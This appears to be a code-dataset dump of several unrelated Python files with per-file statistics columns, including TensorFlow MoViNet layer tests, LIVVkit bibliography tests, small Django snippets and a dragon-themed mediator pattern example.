image_array = models.TextField(null= True)
name = models.CharField(max_length=100)
status = models.CharField(max_length=100, default="processing")
#callback_url = models.CharField(max_length=100)
date_created = models.DateTimeField(auto_now_add=True)
| 32.142857
| 67
| 0.757778
| 62
| 450
| 5.306452
| 0.516129
| 0.227964
| 0.273556
| 0.364742
| 0.452888
| 0.206687
| 0.206687
| 0
| 0
| 0
| 0
| 0.03876
| 0.14
| 450
| 13
| 68
| 34.615385
| 0.81137
| 0.204444
| 0
| 0
| 0
| 0
| 0.02809
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
40926c36c7d4b34727195f8284c351a8c920ce94
| 81
|
py
|
Python
|
maskrcnn_benchmark/modeling/gan/__init__.py
|
worldlife123/maskrcnn-benchmark
|
6c8bc908c2b7299ca6ffb292ae2680ac354d0eec
|
[
"MIT"
] | null | null | null |
maskrcnn_benchmark/modeling/gan/__init__.py
|
worldlife123/maskrcnn-benchmark
|
6c8bc908c2b7299ca6ffb292ae2680ac354d0eec
|
[
"MIT"
] | null | null | null |
maskrcnn_benchmark/modeling/gan/__init__.py
|
worldlife123/maskrcnn-benchmark
|
6c8bc908c2b7299ca6ffb292ae2680ac354d0eec
|
[
"MIT"
] | null | null | null |
from .discriminators import build_discriminator
from .loss import build_gan_loss
| 27
| 47
| 0.876543
| 11
| 81
| 6.181818
| 0.636364
| 0.323529
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.098765
| 81
| 2
| 48
| 40.5
| 0.931507
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
4095966fcd8c5f5f5ebb51911d27163ed9f2e4d1
| 11,240
|
py
|
Python
|
official/vision/beta/projects/movinet/modeling/movinet_layers_test.py
|
akshit-protonn/models
|
38c8c6fe4144c93d6aadd19981c2b90570c29eba
|
[
"Apache-2.0"
] | 8
|
2021-12-30T06:07:14.000Z
|
2022-02-10T14:49:13.000Z
|
official/vision/beta/projects/movinet/modeling/movinet_layers_test.py
|
akshit-protonn/models
|
38c8c6fe4144c93d6aadd19981c2b90570c29eba
|
[
"Apache-2.0"
] | 62
|
2021-06-09T00:47:27.000Z
|
2021-09-24T09:06:58.000Z
|
official/vision/beta/projects/movinet/modeling/movinet_layers_test.py
|
akshit-protonn/models
|
38c8c6fe4144c93d6aadd19981c2b90570c29eba
|
[
"Apache-2.0"
] | null | null | null |
# Copyright 2021 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Lint as: python3
"""Tests for movinet_layers.py."""
from absl.testing import parameterized
import tensorflow as tf
from official.vision.beta.modeling.layers import nn_layers
from official.vision.beta.projects.movinet.modeling import movinet_layers
class MovinetLayersTest(parameterized.TestCase, tf.test.TestCase):
def test_squeeze3d(self):
squeeze = movinet_layers.Squeeze3D()
inputs = tf.ones([5, 1, 1, 1, 3])
predicted = squeeze(inputs)
expected = tf.ones([5, 3])
self.assertEqual(predicted.shape, expected.shape)
self.assertAllEqual(predicted, expected)
def test_mobile_conv2d(self):
conv2d = movinet_layers.MobileConv2D(
filters=3,
kernel_size=(3, 3),
strides=(1, 1),
padding='same',
kernel_initializer='ones',
use_bias=False,
use_depthwise=False,
use_temporal=False,
use_buffered_input=True,
)
inputs = tf.ones([1, 2, 2, 2, 3])
predicted = conv2d(inputs)
expected = tf.constant(
[[[[[12., 12., 12.],
[12., 12., 12.]],
[[12., 12., 12.],
[12., 12., 12.]]],
[[[12., 12., 12.],
[12., 12., 12.]],
[[12., 12., 12.],
[12., 12., 12.]]]]])
self.assertEqual(predicted.shape, expected.shape)
self.assertAllClose(predicted, expected)
def test_mobile_conv2d_temporal(self):
conv2d = movinet_layers.MobileConv2D(
filters=3,
kernel_size=(3, 1),
strides=(1, 1),
padding='causal',
kernel_initializer='ones',
use_bias=False,
use_depthwise=True,
use_temporal=True,
use_buffered_input=True,
)
inputs = tf.ones([1, 2, 2, 1, 3])
paddings = [[0, 0], [2, 0], [0, 0], [0, 0], [0, 0]]
padded_inputs = tf.pad(inputs, paddings)
predicted = conv2d(padded_inputs)
expected = tf.constant(
[[[[[1., 1., 1.]],
[[1., 1., 1.]]],
[[[2., 2., 2.]],
[[2., 2., 2.]]]]])
self.assertEqual(predicted.shape, expected.shape)
self.assertAllClose(predicted, expected)
def test_stream_buffer(self):
conv3d_stream = nn_layers.Conv3D(
filters=3,
kernel_size=(3, 3, 3),
strides=(1, 2, 2),
padding='causal',
kernel_initializer='ones',
use_bias=False,
use_buffered_input=True,
)
buffer = movinet_layers.StreamBuffer(buffer_size=2)
conv3d = nn_layers.Conv3D(
filters=3,
kernel_size=(3, 3, 3),
strides=(1, 2, 2),
padding='causal',
kernel_initializer='ones',
use_bias=False,
use_buffered_input=False,
)
inputs = tf.ones([1, 4, 2, 2, 3])
expected = conv3d(inputs)
for num_splits in [1, 2, 4]:
frames = tf.split(inputs, inputs.shape[1] // num_splits, axis=1)
states = {}
predicted = []
for frame in frames:
x, states = buffer(frame, states=states)
x = conv3d_stream(x)
predicted.append(x)
predicted = tf.concat(predicted, axis=1)
self.assertEqual(predicted.shape, expected.shape)
self.assertAllClose(predicted, expected)
self.assertAllClose(
predicted,
[[[[[12., 12., 12.]]],
[[[24., 24., 24.]]],
[[[36., 36., 36.]]],
[[[36., 36., 36.]]]]])
def test_stream_conv_block_2plus1d(self):
conv_block = movinet_layers.ConvBlock(
filters=3,
kernel_size=(3, 3, 3),
strides=(1, 2, 2),
causal=True,
kernel_initializer='ones',
use_bias=False,
activation='relu',
conv_type='2plus1d',
use_positional_encoding=True,
)
stream_conv_block = movinet_layers.StreamConvBlock(
filters=3,
kernel_size=(3, 3, 3),
strides=(1, 2, 2),
causal=True,
kernel_initializer='ones',
use_bias=False,
activation='relu',
conv_type='2plus1d',
use_positional_encoding=True,
)
inputs = tf.ones([1, 4, 2, 2, 3])
expected = conv_block(inputs)
predicted_disabled, _ = stream_conv_block(inputs)
self.assertEqual(predicted_disabled.shape, expected.shape)
self.assertAllClose(predicted_disabled, expected)
for num_splits in [1, 2, 4]:
frames = tf.split(inputs, inputs.shape[1] // num_splits, axis=1)
states = {}
predicted = []
for frame in frames:
x, states = stream_conv_block(frame, states=states)
predicted.append(x)
predicted = tf.concat(predicted, axis=1)
self.assertEqual(predicted.shape, expected.shape)
self.assertAllClose(predicted, expected)
self.assertAllClose(
predicted,
[[[[[35.9640400, 35.9640400, 35.9640400]]],
[[[71.9280700, 71.9280700, 71.9280700]]],
[[[107.892105, 107.892105, 107.892105]]],
[[[107.892105, 107.892105, 107.892105]]]]])
def test_stream_conv_block_3d_2plus1d(self):
conv_block = movinet_layers.ConvBlock(
filters=3,
kernel_size=(3, 3, 3),
strides=(1, 2, 2),
causal=True,
kernel_initializer='ones',
use_bias=False,
activation='relu',
conv_type='3d_2plus1d',
use_positional_encoding=True,
)
stream_conv_block = movinet_layers.StreamConvBlock(
filters=3,
kernel_size=(3, 3, 3),
strides=(1, 2, 2),
causal=True,
kernel_initializer='ones',
use_bias=False,
activation='relu',
conv_type='3d_2plus1d',
use_positional_encoding=True,
)
inputs = tf.ones([1, 4, 2, 2, 3])
expected = conv_block(inputs)
predicted_disabled, _ = stream_conv_block(inputs)
self.assertEqual(predicted_disabled.shape, expected.shape)
self.assertAllClose(predicted_disabled, expected)
for num_splits in [1, 2, 4]:
frames = tf.split(inputs, inputs.shape[1] // num_splits, axis=1)
states = {}
predicted = []
for frame in frames:
x, states = stream_conv_block(frame, states=states)
predicted.append(x)
predicted = tf.concat(predicted, axis=1)
self.assertEqual(predicted.shape, expected.shape)
self.assertAllClose(predicted, expected)
self.assertAllClose(
predicted,
[[[[[35.9640400, 35.9640400, 35.9640400]]],
[[[71.9280700, 71.9280700, 71.9280700]]],
[[[107.892105, 107.892105, 107.892105]]],
[[[107.892105, 107.892105, 107.892105]]]]])
def test_stream_conv_block(self):
conv_block = movinet_layers.ConvBlock(
filters=3,
kernel_size=(3, 3, 3),
strides=(1, 2, 2),
causal=True,
kernel_initializer='ones',
use_bias=False,
activation='relu',
)
stream_conv_block = movinet_layers.StreamConvBlock(
filters=3,
kernel_size=(3, 3, 3),
strides=(1, 2, 2),
causal=True,
kernel_initializer='ones',
use_bias=False,
activation='relu',
)
inputs = tf.ones([1, 4, 2, 2, 3])
expected = conv_block(inputs)
predicted_disabled, _ = stream_conv_block(inputs)
self.assertEqual(predicted_disabled.shape, expected.shape)
self.assertAllClose(predicted_disabled, expected)
for num_splits in [1, 2, 4]:
frames = tf.split(inputs, inputs.shape[1] // num_splits, axis=1)
states = {}
predicted = []
for frame in frames:
x, states = stream_conv_block(frame, states=states)
predicted.append(x)
predicted = tf.concat(predicted, axis=1)
self.assertEqual(predicted.shape, expected.shape)
self.assertAllClose(predicted, expected)
self.assertAllClose(
predicted,
[[[[[11.994005, 11.994005, 11.994005]]],
[[[23.988010, 23.988010, 23.988010]]],
[[[35.982014, 35.982014, 35.982014]]],
[[[35.982014, 35.982014, 35.982014]]]]])
def test_stream_squeeze_excitation(self):
se = movinet_layers.StreamSqueezeExcitation(
3, causal=True, kernel_initializer='ones')
inputs = tf.range(4, dtype=tf.float32) + 1.
inputs = tf.reshape(inputs, [1, 4, 1, 1, 1])
inputs = tf.tile(inputs, [1, 1, 2, 1, 3])
expected, _ = se(inputs)
for num_splits in [1, 2, 4]:
frames = tf.split(inputs, inputs.shape[1] // num_splits, axis=1)
states = {}
predicted = []
for frame in frames:
x, states = se(frame, states=states)
predicted.append(x)
predicted = tf.concat(predicted, axis=1)
self.assertEqual(predicted.shape, expected.shape)
self.assertAllClose(predicted, expected, 1e-5, 1e-5)
self.assertAllClose(
predicted,
[[[[[0.9998109, 0.9998109, 0.9998109]],
[[0.9998109, 0.9998109, 0.9998109]]],
[[[1.9999969, 1.9999969, 1.9999969]],
[[1.9999969, 1.9999969, 1.9999969]]],
[[[3., 3., 3.]],
[[3., 3., 3.]]],
[[[4., 4., 4.]],
[[4., 4., 4.]]]]],
1e-5, 1e-5)
def test_stream_movinet_block(self):
block = movinet_layers.MovinetBlock(
out_filters=3,
expand_filters=6,
kernel_size=(3, 3, 3),
strides=(1, 2, 2),
causal=True,
)
inputs = tf.range(4, dtype=tf.float32) + 1.
inputs = tf.reshape(inputs, [1, 4, 1, 1, 1])
inputs = tf.tile(inputs, [1, 1, 2, 1, 3])
expected, _ = block(inputs)
for num_splits in [1, 2, 4]:
frames = tf.split(inputs, inputs.shape[1] // num_splits, axis=1)
states = {}
predicted = []
for frame in frames:
x, states = block(frame, states=states)
predicted.append(x)
predicted = tf.concat(predicted, axis=1)
self.assertEqual(predicted.shape, expected.shape)
self.assertAllClose(predicted, expected)
def test_stream_classifier_head(self):
head = movinet_layers.Head(project_filters=5)
classifier_head = movinet_layers.ClassifierHead(
head_filters=10, num_classes=4)
inputs = tf.range(4, dtype=tf.float32) + 1.
inputs = tf.reshape(inputs, [1, 4, 1, 1, 1])
inputs = tf.tile(inputs, [1, 1, 2, 1, 3])
x, _ = head(inputs)
expected = classifier_head(x)
for num_splits in [1, 2, 4]:
frames = tf.split(inputs, inputs.shape[1] // num_splits, axis=1)
states = {}
for frame in frames:
x, states = head(frame, states=states)
predicted = classifier_head(x)
self.assertEqual(predicted.shape, expected.shape)
self.assertAllClose(predicted, expected)
if __name__ == '__main__':
tf.test.main()
| 30.296496
| 74
| 0.595996
| 1,378
| 11,240
| 4.730769
| 0.137881
| 0.01534
| 0.021169
| 0.025771
| 0.74674
| 0.731707
| 0.719589
| 0.712533
| 0.704249
| 0.692898
| 0
| 0.091985
| 0.262989
| 11,240
| 370
| 75
| 30.378378
| 0.694954
| 0.055872
| 0
| 0.679054
| 0
| 0
| 0.012461
| 0
| 0
| 0
| 0
| 0
| 0.10473
| 1
| 0.033784
| false
| 0
| 0.013514
| 0
| 0.050676
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
40c048a9ee246e07b4d1118dfbf915003c301c29
| 234
|
py
|
Python
|
contacts/admin.py
|
MiladGhadimi/ntest1
|
a39eeade43243064e6a3ac22500c338f5d598568
|
[
"MIT"
] | null | null | null |
contacts/admin.py
|
MiladGhadimi/ntest1
|
a39eeade43243064e6a3ac22500c338f5d598568
|
[
"MIT"
] | null | null | null |
contacts/admin.py
|
MiladGhadimi/ntest1
|
a39eeade43243064e6a3ac22500c338f5d598568
|
[
"MIT"
] | null | null | null |
from django.contrib import admin
from . import models
admin.site.register(models.Contact)
#@admin.register(models.Model)
#class ContactAdmin(admin.ModelAdmin):
# list_display = ('first_name', 'last_name', 'phone', 'email')
| 29.25
| 66
| 0.730769
| 29
| 234
| 5.793103
| 0.689655
| 0.166667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.128205
| 234
| 7
| 67
| 33.428571
| 0.823529
| 0.555556
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.666667
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
9052173fd33371cbb2ca0c50bd1cd871e89b7881
| 167
|
py
|
Python
|
pythonExamples/tutorial/list2.py
|
davidruffner/computation-physics-nyu-2009
|
754d48f820773cd6b1b3cd3a7444363b78e1ea00
|
[
"MIT"
] | null | null | null |
pythonExamples/tutorial/list2.py
|
davidruffner/computation-physics-nyu-2009
|
754d48f820773cd6b1b3cd3a7444363b78e1ea00
|
[
"MIT"
] | null | null | null |
pythonExamples/tutorial/list2.py
|
davidruffner/computation-physics-nyu-2009
|
754d48f820773cd6b1b3cd3a7444363b78e1ea00
|
[
"MIT"
] | null | null | null |
cats = ['Tom', 'Snappy', 'Kitty', 'Jessie', 'Chester']
print cats
cats.append('Catherine')
print cats
#Remove your 2nd cat, Snappy. Woe is you.
del cats[1]
print cats
| 20.875
| 54
| 0.688623
| 26
| 167
| 4.423077
| 0.692308
| 0.234783
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.013986
| 0.143713
| 167
| 7
| 55
| 23.857143
| 0.79021
| 0.239521
| 0
| 0.5
| 0
| 0
| 0.285714
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0.5
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 5
|
90570d0e3414e05d575a6c66eb32d445e13c5b95
| 4,456
|
py
|
Python
|
tests/test_util_bib.py
|
LIVVkit/LIVVkit
|
3a67d12daf1628a47be1852ee3711e312bf0dd12
|
[
"BSD-3-Clause"
] | 6
|
2015-06-10T14:26:23.000Z
|
2019-08-16T17:19:09.000Z
|
tests/test_util_bib.py
|
LIVVkit/LIVVkit
|
3a67d12daf1628a47be1852ee3711e312bf0dd12
|
[
"BSD-3-Clause"
] | 37
|
2015-07-02T15:01:10.000Z
|
2019-12-11T23:52:02.000Z
|
tests/test_util_bib.py
|
LIVVkit/LIVVkit
|
3a67d12daf1628a47be1852ee3711e312bf0dd12
|
[
"BSD-3-Clause"
] | 4
|
2016-11-01T16:02:05.000Z
|
2018-10-11T16:17:21.000Z
|
# coding=utf-8
import os
import pybtex.database
import livvkit
from livvkit.util import bib
DATA_DIR = os.path.join(os.path.dirname(livvkit.__file__), 'data')
KENNEDY2017_HTML = '<div class="bibliography"><h2>References</h2>' \
'<p>LIVVkit is an open source project licensed under a BSD 3-clause License. ' \
'We ask that you please acknowledge LIVVkit in any work it is used or supports. ' \
'In any corresponding published work, please cite: </p>' \
'<dl><dt>1</dt> <dd>Joseph H. Kennedy, ' \
'Andrew R. Bennett, Katherine J. Evans, Stephen Price, ' \
'Matthew Hoffman, William H. Lipscomb, Jeremy Fyke, Lauren Vargo, ' \
'Adrianna Boghozian, Matthew Norman, and Patrick H. Worley. ' \
'Livvkit: an extensible, python-based, land ice verification and validation ' \
'toolkit for ice sheet models. <em>Journal of Advances in Modeling Earth ' \
'Systems</em>, 9(2):854–869, 2017. ' \
'<a href="https://doi.org/10.1002/2017MS000916">doi:10.1002/2017MS000916</a>.' \
'</dd> </dl></div>'
KENNEDY2017_EVANS2019_HTML = '<div class="bibliography"><h2>References</h2>' \
'<p>LIVVkit is an open source project licensed under a BSD 3-clause License. ' \
'We ask that you please acknowledge LIVVkit in any work it is used or supports. ' \
'In any corresponding published work, please cite: </p>' \
'<dl><dt>1</dt> <dd>K. J. Evans, ' \
'J. H. Kennedy, D. Lu, M. M. Forrester, S. Price, ' \
'J. Fyke, A. R. Bennett, M. J. Hoffman, I. Tezaur, ' \
'C. S. Zender, and M. Vizca\\\'<span class="bibtex-protected">ı</span>no. ' \
'Livvkit 2.1: automated and extensible ice sheet model validation. ' \
'<em>Geoscientific Model Development</em>, 12(3):1067–1086, 2019. URL: ' \
'<a href="https://www.geosci-model-dev.net/12/1067/2019/">' \
'https://www.geosci-model-dev.net/12/1067/2019/</a>, ' \
'<a href="https://doi.org/10.5194/gmd-12-1067-2019">' \
'doi:10.5194/gmd-12-1067-2019</a>.</dd> <dt>2</dt> <dd>Joseph H. Kennedy, ' \
'Andrew R. Bennett, Katherine J. Evans, Stephen Price, Matthew Hoffman, ' \
'William H. Lipscomb, Jeremy Fyke, Lauren Vargo, Adrianna Boghozian, ' \
'Matthew Norman, and Patrick H. Worley. Livvkit: an extensible, ' \
'python-based, land ice verification and validation toolkit for ice sheet ' \
'models. <em>Journal of Advances in Modeling Earth Systems</em>, 9(2):854–869, ' \
'2017. <a href="https://doi.org/10.1002/2017MS000916">doi:10.1002/2017MS000916</a>.' \
'</dd> </dl></div>'
def test_bib2html_str():
html = bib.bib2html(os.path.join(DATA_DIR, 'Kennedy2017.bib'))
assert html == KENNEDY2017_HTML
def test_bib2html_list():
html = bib.bib2html([
os.path.join(DATA_DIR, 'Kennedy2017.bib'), os.path.join(DATA_DIR, 'Evans2019.bib')
])
assert html == KENNEDY2017_EVANS2019_HTML
def test_bib2html_set():
html = bib.bib2html({
os.path.join(DATA_DIR, 'Kennedy2017.bib'), os.path.join(DATA_DIR, 'Evans2019.bib')
})
assert html == KENNEDY2017_EVANS2019_HTML
def test_bib2html_tuple():
html = bib.bib2html((
os.path.join(DATA_DIR, 'Kennedy2017.bib'), os.path.join(DATA_DIR, 'Evans2019.bib')
))
assert html == KENNEDY2017_EVANS2019_HTML
def test_bib2html_bibliographydata():
bibliography = pybtex.database.parse_file(os.path.join(DATA_DIR, 'Kennedy2017.bib'))
html = bib.bib2html(bibliography)
assert html == KENNEDY2017_HTML
def test_bib2html_duplicate_elements():
html = bib.bib2html([
os.path.join(DATA_DIR, 'Kennedy2017.bib'), os.path.join(DATA_DIR, 'Kennedy2017.bib')
])
assert html == KENNEDY2017_HTML
| 48.434783
| 116
| 0.568223
| 545
| 4,456
| 4.576147
| 0.289908
| 0.028869
| 0.044106
| 0.056135
| 0.777466
| 0.777466
| 0.755814
| 0.721331
| 0.721331
| 0.693264
| 0
| 0.084816
| 0.293537
| 4,456
| 91
| 117
| 48.967033
| 0.70648
| 0.002693
| 0
| 0.318182
| 0
| 0.045455
| 0.506078
| 0.026565
| 0
| 0
| 0
| 0
| 0.090909
| 1
| 0.090909
| false
| 0
| 0.060606
| 0
| 0.151515
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
906873fa6436d613e23443400d43fa9b6d94b7f6
| 30
|
py
|
Python
|
pincer_bot/constants.py
|
Lunarmagpie/bot
|
eb7db379c9077309ddf3e3c1de1a496a5fe3f754
|
[
"MIT"
] | 4
|
2022-01-01T21:08:30.000Z
|
2022-01-05T13:13:38.000Z
|
pincer_bot/constants.py
|
Lunarmagpie/bot
|
eb7db379c9077309ddf3e3c1de1a496a5fe3f754
|
[
"MIT"
] | 6
|
2021-09-03T02:16:32.000Z
|
2021-11-19T09:53:19.000Z
|
pincer_bot/constants.py
|
Lunarmagpie/bot
|
eb7db379c9077309ddf3e3c1de1a496a5fe3f754
|
[
"MIT"
] | 3
|
2021-09-01T00:49:07.000Z
|
2021-11-16T05:20:39.000Z
|
GUILD_ID = 881531065859190804
| 15
| 29
| 0.866667
| 3
| 30
| 8.333333
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.666667
| 0.1
| 30
| 1
| 30
| 30
| 0.259259
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
906c7b02675b3a30cf20df6207bacf8108874340
| 372
|
py
|
Python
|
{{ cookiecutter.repo_name }}/src/{{ cookiecutter.package_name }}/data/__init__.py
|
sedelmeyer/cookiecutter-pydata
|
b329d3817bb137e2c4fbb83a52583e38e5638eb0
|
[
"MIT"
] | null | null | null |
{{ cookiecutter.repo_name }}/src/{{ cookiecutter.package_name }}/data/__init__.py
|
sedelmeyer/cookiecutter-pydata
|
b329d3817bb137e2c4fbb83a52583e38e5638eb0
|
[
"MIT"
] | 18
|
2020-06-27T19:50:09.000Z
|
2020-07-24T02:37:03.000Z
|
{{ cookiecutter.repo_name }}/src/{{ cookiecutter.package_name }}/data/__init__.py
|
sedelmeyer/cookiecutter-pydata
|
b329d3817bb137e2c4fbb83a52583e38e5638eb0
|
[
"MIT"
] | null | null | null |
"""
{{cookiecutter.package_name}}.data
{% for _ in cookiecutter.package_name %}{{"~"}}{% endfor %}~~~~~
This module contains functionality for downloading, cleansing, and/or
generating data for this project.
**Module functions:**
.. autosummary::
placeholder
|
"""
def placeholder():
"Placeholder function to illustrate testing and docs generation"
pass
| 17.714286
| 69
| 0.701613
| 39
| 372
| 6.615385
| 0.717949
| 0.147287
| 0.178295
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.158602
| 372
| 20
| 70
| 18.6
| 0.824281
| 0.879032
| 0
| 0
| 0
| 0
| 0.62
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| true
| 0.333333
| 0
| 0
| 0.333333
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
|
0
| 5
|
90738e5adaf7ff588c6c9e389e50ed86c95df928
| 815
|
py
|
Python
|
experiments/Python/Python Lab/Design Patterns/mediator.py
|
udfds/stands
|
b1ac335aa409ee57c2eb0fd94fc7c9af35182524
|
[
"Apache-2.0"
] | null | null | null |
experiments/Python/Python Lab/Design Patterns/mediator.py
|
udfds/stands
|
b1ac335aa409ee57c2eb0fd94fc7c9af35182524
|
[
"Apache-2.0"
] | 5
|
2020-04-10T19:49:34.000Z
|
2021-11-28T12:28:50.000Z
|
experiments/Python/Python Lab/Design Patterns/mediator.py
|
udfds/CodeLab
|
c37fb1fb6c3ca557bbacd4c760f745789d195b3c
|
[
"Apache-2.0"
] | null | null | null |
class TwoHeadDragon():
def __init__(self):
self.left_head = IceDragon(self)
self.right_head = FireDragon(self)
def ice_breath(self):
return self.left_head.ice_breath()
def fire_breath(self):
return self.right_head.fire_breath()
def get_left_head(self):
return self.left_head
def get_right_head(self):
return self.right_head
class IceDragon():
def __init__(self, mediator):
self._mediator = mediator
def ice_breath(self):
return 'Ice'
def fire_breath(self):
return self._mediator.fire_breath()
class FireDragon():
def __init__(self, mediator):
self._mediator = mediator
def ice_breath(self):
return self._mediator.ice_breath()
def fire_breath(self):
return 'Fire'
| 20.897436
| 44
| 0.646626
| 101
| 815
| 4.861386
| 0.158416
| 0.162933
| 0.195519
| 0.162933
| 0.661914
| 0.503055
| 0.378819
| 0.248473
| 0.248473
| 0.248473
| 0
| 0
| 0.257669
| 815
| 38
| 45
| 21.447368
| 0.81157
| 0
| 0
| 0.384615
| 0
| 0
| 0.008589
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.423077
| false
| 0
| 0
| 0.307692
| 0.846154
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 5
|
908e88c5580bec19879b43ad93eabfb9bb7d38d2
| 147
|
py
|
Python
|
mujoco_ilqg/utils/__init__.py
|
pvarin/mujoco-ilqg
|
ddb8d2830a5841134325e020b58805de77ed7334
|
[
"BSD-3-Clause"
] | 3
|
2019-09-19T02:35:09.000Z
|
2021-12-14T05:01:10.000Z
|
mujoco_ilqg/utils/__init__.py
|
pvarin/mujoco-ilqg
|
ddb8d2830a5841134325e020b58805de77ed7334
|
[
"BSD-3-Clause"
] | null | null | null |
mujoco_ilqg/utils/__init__.py
|
pvarin/mujoco-ilqg
|
ddb8d2830a5841134325e020b58805de77ed7334
|
[
"BSD-3-Clause"
] | null | null | null |
from .gradients import grad_check
from .mujoco_utils import (get_state, set_state, reset_state)
from .plotting import (plot_gaussian, plot_gmm_pdf)
| 49
| 61
| 0.836735
| 23
| 147
| 5
| 0.695652
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.095238
| 147
| 3
| 62
| 49
| 0.864662
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
90911532853e7e03ed625bb0c26a4bf058a2ffa7
| 108
|
py
|
Python
|
fake_useragent/__init__.py
|
TakesxiSximada/fake-useragent-freeze
|
089ef7e17288dff27947036881fdc85dadb186ae
|
[
"Apache-2.0"
] | 1
|
2016-11-30T09:12:28.000Z
|
2016-11-30T09:12:28.000Z
|
fake_useragent/__init__.py
|
TakesxiSximada/fake-useragent-freeze
|
089ef7e17288dff27947036881fdc85dadb186ae
|
[
"Apache-2.0"
] | null | null | null |
fake_useragent/__init__.py
|
TakesxiSximada/fake-useragent-freeze
|
089ef7e17288dff27947036881fdc85dadb186ae
|
[
"Apache-2.0"
] | null | null | null |
from __future__ import absolute_import, unicode_literals
from fake_useragent.fake import UserAgent # noqa
| 27
| 56
| 0.851852
| 14
| 108
| 6.071429
| 0.642857
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.12037
| 108
| 3
| 57
| 36
| 0.894737
| 0.037037
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
